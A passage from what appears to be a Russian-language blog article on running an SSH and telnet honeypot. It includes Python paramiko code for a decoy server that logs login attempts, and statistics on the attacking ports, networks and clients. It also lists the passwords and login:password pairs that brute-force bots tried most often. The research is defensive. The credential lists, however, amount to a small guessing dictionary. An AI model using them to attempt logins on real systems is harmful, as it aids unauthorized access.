\u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c\u044e, \u0430 \u0447\u0430\u0441\u0442\u043e\u0442\u0430 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 \u043f\u044f\u0442\u0438 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0432 \u043c\u0438\u043d\u0443\u0442\u0443. \u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 UDP-\u043f\u043e\u0440\u0442\u044b \u2014 123 (NTP), 5060 (SIP) \u0438 53 (DNS). \u042d\u0442\u0438 \u0442\u0440\u0438 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0438\u043c\u0435\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0443\u0441\u0438\u043b\u0435\u043d\u0438\u0435 (amplification) DDoS-\u0430\u0442\u0430\u043a.<\/p>\n<p>  \u041a\u0430\u043a \u0438 \u043e\u0436\u0438\u0434\u0430\u043b\u043e\u0441\u044c, \u0441\u0430\u043c\u044b\u0439 \u0438\u0441\u043a\u043e\u043c\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u2014 SSH. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c (\u0432\u043d\u0435\u0437\u0430\u043f\u043d\u043e!) \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u043f\u043e\u0440\u0442 2222 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u0435\u0435 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e 22 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0432 \u0434\u0432\u0430 \u0440\u0430\u0437\u0430. \u0417\u043d\u0430\u0447\u0438\u0442, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0432 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0441\u0431\u043e\u0440\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.<\/p>\n<p>  <a href=\"https:\/\/selectel.ru\/services\/dedicated\/?utm_source=habr.com&amp;utm_medium=referral&amp;utm_campaign=dedicated_article_bruteforce_130923_banner_023_ord\"><\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/dx\/j2\/q_\/dxj2q_mfpu5axghsdyw8u_pdetg.png\" data-src=\"https:\/\/habrastorage.org\/webt\/dx\/j2\/q_\/dxj2q_mfpu5axghsdyw8u_pdetg.png\"\/><\/div>\n<p><\/a><\/p>\n<p>  <font color=\"#EB4247\"><\/p>\n<h2>\u0412\u043e\u043b\u0448\u0435\u0431\u043d\u044b\u0439 \u043c\u0438\u0440 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430<\/h2>\n<p><\/font><br \/>  \u0412 \u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u0440\u0430\u0437 \u044f \u043f\u0430\u0442\u0447\u0438\u043b OpenSSH-\u0441\u0435\u0440\u0432\u0435\u0440, \u0447\u0442\u043e\u0431\u044b \u043b\u043e\u0433\u0438\u043d \u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438\u0441\u044c \u0432 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b. \u0422\u043e\u0433\u0434\u0430 \u043c\u043d\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u044d\u0442\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u043c, \u043d\u043e \u0441\u0435\u0439\u0447\u0430\u0441 \u044f \u0445\u043e\u0447\u0443 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 SSH-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c. \u042f \u0445\u043e\u0447\u0443 \u0437\u043d\u0430\u0442\u044c, \u043e\u0442\u043a\u0443\u0434\u0430 \u043a\u043e \u043c\u043d\u0435 \u043f\u0440\u0438\u0448\u043b\u0438, \u0441 \u043a\u0430\u043a\u0438\u043c \u043b\u043e\u0433\u0438\u043d\u043e\u043c, \u0441 \u043a\u0430\u043a\u0438\u043c \u043f\u0430\u0440\u043e\u043b\u0435\u043c, \u0431\u044b\u043b\u0438 \u043b\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0437\u0430\u0439\u0442\u0438 \u043f\u043e \u043a\u043b\u044e\u0447\u0443 \u0438 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0437\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043d\u0435\u0445\u043e\u0440\u043e\u0448\u0438\u0439 \u0447\u0435\u043b\u043e\u0432\u0435\u043a. \u0414\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0439 \u0437\u0430\u0434\u0443\u043c\u043a\u0438 \u043e\u0442\u043b\u0438\u0447\u043d\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 <a href=\"https:\/\/www.paramiko.org\/\">paramiko<\/a>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b SSHv2 \u043d\u0430 Python.<\/p>\n<pre><code class=\"python\">import paramiko  class LogServer(paramiko.ServerInterface):      attempt: int      def __init__(self, **kwargs):         self.attempt = 0      def get_allowed_auths(self, username: str) -> str:         # \u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043d\u044b\u0435 \u0442\u0438\u043f\u044b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.          # \u0412 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u2013 \u043f\u0430\u0440\u043e\u043b\u044c \u0438 \u043a\u043b\u044e\u0447         # \u0412 \u044d\u0442\u043e\u0442 \u043c\u043e\u043c\u0435\u043d\u0442 \u043c\u043e\u0436\u043d\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043e\u0442 SSH-\u043a\u043b\u0438\u0435\u043d\u0442\u0430         return \"password,publickey\"      def check_auth_none(self, username: str) -> int:         return paramiko.common.AUTH_FAILED      def check_auth_password(self, username: str, password: str) -> int:         self.attempt += 1                  # \u0417\u0434\u0435\u0441\u044c \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043d\u043e\u043c\u0435\u0440 \u043f\u043e\u043f\u044b\u0442\u043a\u0438, \u043b\u043e\u0433\u0438\u043d \u0438 \u043f\u0430\u0440\u043e\u043b\u044c          # \u0417\u0430\u0434\u0435\u0440\u0436\u043a\u0443 \u043f\u0435\u0440\u0435\u0434 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u043e\u043c \u043d\u0435\u0443\u0434\u0430\u0447\u0438 \u043d\u0443\u0436\u043d\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u0441\u0430\u043c\u043e\u043c\u0443         time.sleep(3)          return paramiko.common.AUTH_FAILED      def check_auth_publickey(self, username: str, key: PKey) -> int:         self.attempt += 1          # \u0417\u0434\u0435\u0441\u044c \u043c\u043e\u0436\u043d\u043e \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u043e\u0442\u043f\u0435\u0447\u0430\u0442\u043e\u043a \u043a\u043b\u044e\u0447\u0430, \u0447\u0442\u043e\u0431\u044b \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0442\u044c \u043f\u043e\u0442\u043e\u043c         # key.get_fingerprint().hex(\":\", 2)          return paramiko.common.AUTH_FAILED <\/code><\/pre>\n<p>  \u0421\u0435\u0440\u0432\u0435\u0440 paramiko \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0432\u0435\u0440\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0433\u043e \u0441\u043e\u043a\u0435\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0437\u0434\u0430\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 <a href=\"https:\/\/docs.python.org\/3\/library\/socket.html%23socket.socket.accept\">socket.accept<\/a>.<\/p>\n<pre><code class=\"python\"># C\u043e\u0437\u0434\u0430\u0435\u043c \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442 \u0438 \u043c\u0435\u043d\u044f\u0435\u043c \u0435\u043c\u0443 \u0432\u0435\u0440\u0441\u0438\u044e, \u0447\u0442\u043e\u0431\u044b \u043b\u0435\u0433\u0435\u043d\u0434\u0430 \u0431\u044b\u043b\u0430 \u0443\u0431\u0435\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u0430 transport = paramiko.Transport(client) transport.local_version = \"SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2\" # \u041a\u043b\u044e\u0447 \u043c\u043e\u0436\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 ssh-keygen \u0438 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u0435\u0433\u043e \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u0443\u044e \u0447\u0430\u0441\u0442\u044c host_key = paramiko.RSAKey(filename=\"key\") transport.add_server_key(host_key) # \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 server = LogServer() transport.start_server(server=server) transport.join() <\/code><\/pre>\n<p>  \u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044f \u043b\u0435\u0433\u0435\u043d\u0434\u0443 \u043e \u043d\u0435\u043f\u0440\u0438\u0441\u0442\u0443\u043f\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435, \u044f \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u0437\u0434\u0430\u043b telnet-\u0441\u0435\u0440\u0432\u0435\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u0432\u043e\u0434\u0438\u043b \u044d\u043a\u0440\u0430\u043d \u043b\u043e\u0433\u0438\u043d\u0430 \u043e\u0442 Ubuntu. \u041a \u0441\u0447\u0430\u0441\u0442\u044c\u044e, \u0434\u043b\u044f telnet \u0442\u043e\u0436\u0435 \u0435\u0441\u0442\u044c \u0441\u0432\u043e\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 <a href=\"https:\/\/pypi.org\/project\/telnetlib3\/\">telnetlib3<\/a>.<\/p>\n<p>  \u041f\u043e \u043d\u0435\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u043f\u0440\u0438\u0447\u0438\u043d\u0430\u043c \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0435 \u043c\u043d\u043e\u0439 \u043f\u0440\u0438\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 telnet \u043f\u043e\u0431\u0443\u0436\u0434\u0430\u043b\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043b\u043e\u0433\u0438\u043d, \u043d\u043e \u043d\u0435 \u043f\u0430\u0440\u043e\u043b\u044c. \u0412\u043f\u0440\u043e\u0447\u0435\u043c, \u044f \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043b, \u0447\u0442\u043e telnet \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f IoT-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0438\u043c\u0435\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u043e \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0442 telnet-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0444\u0430\u043a\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0438 IP-\u0430\u0434\u0440\u0435\u0441 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0435\u0433\u043e\u0441\u044f. \u0414\u043b\u044f \u0441\u0431\u043e\u0440\u0430 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438 \u044f \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u043b \u043b\u043e\u0433\u0438\u0440\u0443\u044e\u0449\u0438\u0439 SSH-\u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0430 \u043f\u043e\u0440\u0442\u044b 22, 222 \u0438 2222, \u0430 telnet-\u0441\u0435\u0440\u0432\u0435\u0440 \u2014 \u043d\u0430 23 \u043f\u043e\u0440\u0442.<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/3a2\/e14\/49a\/3a2e1449af05bdbcb492fa102c2f3270.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/3a2\/e14\/49a\/3a2e1449af05bdbcb492fa102c2f3270.png\"\/><\/div>\n<p>  \u041f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u0414\u043b\u044f \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 telnet \u043f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0434\u0440\u0443\u0433\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043b\u043e\u0433\u0438\u043d\u043e\u0432, \u0447\u0430\u0441\u0442\u044c \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u043d\u0430 \u0434\u043b\u044f \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0438 IoT-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432.<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/045\/7c0\/204\/0457c0204d714bfb85132838292f3811.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/045\/7c0\/204\/0457c0204d714bfb85132838292f3811.png\"\/><\/div>\n<p>  \u041b\u0435\u0433\u043a\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e 2222 \u043f\u043e\u0440\u0442 \u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c\u044e: \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e 10-15 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0432 \u043c\u0438\u043d\u0443\u0442\u0443. \u0412\u0442\u043e\u0440\u044b\u043c \u043f\u043e \u043f\u043b\u043e\u0442\u043d\u043e\u0441\u0442\u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f telnet, \u0438\u043d\u0442\u0435\u0440\u0435\u0441 \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0431\u043e\u043b\u0435\u0435 \u00ab\u0440\u0432\u0430\u043d\u044b\u0439\u00bb. \u041d\u0430 \u0444\u043e\u043d\u0435 \u043b\u0438\u0434\u0435\u0440\u043e\u0432 \u0432\u0441\u043f\u043b\u0435\u0441\u043a\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u043a 22 \u043f\u043e\u0440\u0442\u0443 \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u043d\u0435\u0441\u043e\u043b\u0438\u0434\u043d\u043e, \u0430 \u043d\u0430\u0439\u0442\u0438 \u043d\u0430 \u0433\u0440\u0430\u0444\u0438\u043a\u0435 \u043b\u0438\u043d\u0438\u044e 222 \u043f\u043e\u0440\u0442\u0430 \u2014 \u044d\u0442\u043e \u0438 \u0432\u043e\u0432\u0441\u0435 \u0437\u0430\u0434\u0430\u0447\u0430 \u0441\u043e \u00ab\u0437\u0432\u0435\u0437\u0434\u043e\u0447\u043a\u043e\u0439\u00bb.<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/a07\/843\/83d\/a0784383d80324a52d5973546f35496e.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/a07\/843\/83d\/a0784383d80324a52d5973546f35496e.png\"\/><\/div>\n<p>  \u0427\u0442\u043e \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u043f\u043e \u043c\u0438\u0440\u0443, \u041a\u0438\u0442\u0430\u0439 \u0443\u043a\u0440\u0435\u043f\u0438\u043b\u0441\u044f \u0432 \u043f\u043e\u0437\u0438\u0446\u0438\u044f\u0445 \u0438 \u0442\u0435\u043f\u0435\u0440\u044c \u0441\u043e\u0437\u0434\u0430\u0435\u0442 60% \u0432\u0441\u0435\u0445 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u2014 \u043f\u0440\u043e\u0442\u0438\u0432 50% \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0433\u043e\u0434\u0443. \u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e \u043f\u043e\u0434\u0440\u043e\u0441\u043b\u0430 \u0418\u043d\u0434\u0438\u044f: \u0441 2.6% \u0434\u043e 15%.<\/p>\n<p>  \u0412 \u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u0440\u0430\u0437 \u0437\u0430 10 \u0434\u043d\u0435\u0439 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0439 \u0431\u044b\u043b \u0441\u043e\u0431\u0440\u0430\u043d \u0441\u043f\u0438\u0441\u043e\u043a \u0438\u0437 1 311 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432. \u041d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0441\u043f\u0438\u0441\u043e\u043a \u043c\u0435\u043d\u044c\u0448\u0435: \u0432\u0441\u0435\u0433\u043e 480 \u0430\u0434\u0440\u0435\u0441\u043e\u0432, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u00ab\u0434\u043e\u043f\u0438\u043d\u0433\u00bb \u0432 \u0432\u0438\u0434\u0435 \u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043f\u043e\u0440\u0442\u043e\u0432 \u0438 telnet. \u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u043a\u0438\u0442\u0430\u0439\u0446\u044b \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0438 \u0441\u0432\u043e\u0439 \u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u0440\u0435\u043a\u043e\u0440\u0434, \u0438 \u0442\u0435\u043f\u0435\u0440\u044c \u0442\u043e\u043f \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0434\u0440\u0435\u0441\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:<\/p>\n<ol>\n<li>AS4134 Chinanet \u2014 25 576 \u043f\u043e\u043f\u044b\u0442\u043e\u043a (+61%).<\/li>\n<li>AS14061 DIGITALOCEAN-ASN \u2014 3 972 \u043f\u043e\u043f\u044b\u0442\u043a\u0438.<\/li>\n<li>AS211252 Delis LLC \u2014 3 429 \u043f\u043e\u043f\u044b\u0442\u043e\u043a.<\/li>\n<\/ol>\n<p>  \u0411\u0430\u0437\u0430 \u043b\u043e\u0433\u0438\u043d\u043e\u0432 \u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0445\u0443\u0434\u0438\u043b\u0430\u0441\u044c: 1 366 \u043b\u043e\u0433\u0438\u043d\u043e\u0432 \u043f\u0440\u043e\u0442\u0438\u0432 2 018 \u0440\u0430\u043d\u0435\u0435 \u0438 28 501 \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u0440\u043e\u0442\u0438\u0432 32 238. \u0422\u0430\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u043e\u043f \u043f\u0430\u0440\u043e\u043b\u0435\u0439:<\/p>\n<ol>\n<li>123456 \u2014 36%.<\/li>\n<li>123 \u2014 14%.<\/li>\n<li>qwerty123 \u2014 13%.<\/li>\n<li>12345678 \u2014 5%.<\/li>\n<li>root \u2014 3%.<\/li>\n<li>111111 \u2014 2%.<\/li>\n<li>admin \u2014 2%.<\/li>\n<li>1234 \u2014 2%.<\/li>\n<li>12345 \u2014 2%.<\/li>\n<li>dbadmin \u2014 2%.<\/li>\n<\/ol>\n<p>  \u0422\u043e\u043f \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0441\u044f \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e: \u043f\u0430\u0440\u043e\u043b\u044c 123456 \u0432\u0441\u0435 \u0435\u0449\u0435 \u0441\u0430\u043c\u044b\u0439 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \ud83d\ude09 \u0418\u043d\u0430\u0447\u0435 \u0434\u0435\u043b\u043e \u043e\u0431\u0441\u0442\u043e\u0438\u0442 \u0441 \u043f\u0430\u0440\u0430\u043c\u0438 \u043b\u043e\u0433\u0438\u043d-\u043f\u0430\u0440\u043e\u043b\u044c. \u0414\u0432\u0430 \u0433\u043e\u0434\u0430 \u043d\u0430\u0437\u0430\u0434 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0431\u044b\u043b\u0438 \u043f\u0430\u0440\u044b, \u0433\u0434\u0435 \u043b\u043e\u0433\u0438\u043d \u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442. \u0410 \u0441\u0435\u0439\u0447\u0430\u0441 \u2014 \u043d\u0435\u0442.<\/p>\n<ol>\n<li>root:qwerty123<\/li>\n<li>boris:123<\/li>\n<li>anna:123456<\/li>\n<li>vladimir:123456<\/li>\n<li>dbadmin:dbadmin<\/li>\n<li>root:123456<\/li>\n<li>root:root<\/li>\n<li>root:Aa123456<\/li>\n<li>root:P@ssw0rd<\/li>\n<li>root:12345<\/li>\n<\/ol>\n<p>  \u041e\u0441\u043e\u0431\u0435\u043d\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0435\u0441 \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442 \u043f\u0430\u0440\u044b \u0441 \u043c\u0435\u0441\u0442 2-4, \u0432\u0435\u0434\u044c \u044d\u0442\u043e \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u0430\u044f \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f.<\/p>\n<p>  \u0412 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0441\u0430\u043c\u044b\u0439 \u0434\u043b\u0438\u043d\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438\u0448\u0435\u043b \u0438\u0437 \u0440\u0430\u0437\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u0432\u0441\u0435\u0433\u043e 36 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432, \u0447\u0442\u043e \u0432 \u0434\u0432\u0430 \u0440\u0430\u0437\u0430 \u043c\u0435\u043d\u044c\u0448\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0440\u0435\u043a\u043e\u0440\u0434\u0430: <b>A@0599343813A@0599343813A@0599343813<\/b>.<\/p>\n<p>  \u0415\u0441\u043b\u0438 \u0441\u043d\u044f\u0442\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435, \u0447\u0442\u043e \u043f\u0430\u0440\u043e\u043b\u044c \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u0438\u0439\u0442\u0438 \u0441 \u0440\u0430\u0437\u043d\u044b\u0445 \u0430\u0434\u0440\u0435\u0441\u043e\u0432, \u0442\u043e \u0440\u0435\u043a\u043e\u0440\u0434 \u0431\u0443\u0434\u0435\u0442 \u0432 100 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432. \u041d\u043e, \u043a\u0430\u0436\u0435\u0442\u0441\u044f, \u044d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u043b\u0435\u043f\u0430\u044f \u044f\u0440\u043e\u0441\u0442\u044c \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u00ab\u0445\u0430\u043a\u0435\u0440\u043e\u0432\u00bb. \u041e\u0431 \u044d\u0442\u043e\u043c \u044f \u0440\u0430\u0441\u0441\u043a\u0430\u0436\u0443 \u0434\u0430\u043b\u0435\u0435.<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/07f\/539\/c54\/07f539c5430405893c3535139cff65e3.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/07f\/539\/c54\/07f539c5430405893c3535139cff65e3.png\"\/><\/div>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c. 86% \u043e\u0442 \u0432\u0441\u0435\u0445 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442 SSH-2.0-Go. \u041f\u043e\u0445\u043e\u0436\u0435, \u0430\u0432\u0442\u043e\u0440\u044b \u043d\u0435 \u0431\u0435\u0441\u043f\u043e\u043a\u043e\u044f\u0442\u0441\u044f \u043e\u0431 \u0438\u043c\u0435\u043d\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0438 \u043d\u0435 \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u044e\u0442 \u0435\u0433\u043e. 85% \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 